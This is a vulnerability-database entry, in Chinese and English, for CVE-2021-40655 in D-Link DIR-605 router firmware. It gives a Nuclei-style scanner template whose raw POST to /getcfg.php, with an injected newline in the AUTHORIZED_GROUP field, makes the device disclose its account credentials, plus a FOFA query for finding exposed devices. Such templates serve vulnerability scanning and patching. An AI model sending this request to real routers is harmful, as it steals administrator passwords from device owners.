CVE-2021-40655: D-Link DIR-605 - Information Disclosure

日期: 2025-08-01 | 影响软件: D-Link DIR-605 | POC: 已公开

漏洞描述

An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page

PoC代码[已公开]

id: CVE-2021-40655

info:
  name: D-Link DIR-605 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-40655
    - https://github.com/Ilovewomen/D-LINK-DIR-605/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40655
    cwe-id: CWE-863
    epss-score: 0.93319
    epss-percentile: 0.99806
    cpe: cpe:2.3:o:dlink:dir-605l_firmware:2.01mt:*:*:*:*:*:*:*
  metadata:
    vendor: dlink
    product: dir-605l_firmware
    fofa-query: body="l_tb>DIR-605"
    max-request: 1
  tags: cve,cve2021,dlink,kev,dir-605,info-leak

http:
  - raw:
      - |
        POST /getcfg.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie:
        X-Forwarded-For: 127.0.0.1

        SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "DEVICE.ACCOUNT")'
        condition: and
# digest: 4b0a004830460221008c77c851ae7dfd247cd695a7dd14e397cd0ebaa2e1419109cdf750a1b9d03ff2022100e0bd3ef360f0978e306334841944e119683147c64ae52165c07ba9d0e04916b5:922c64590222798bb761d5b6d8e72950

相关漏洞推荐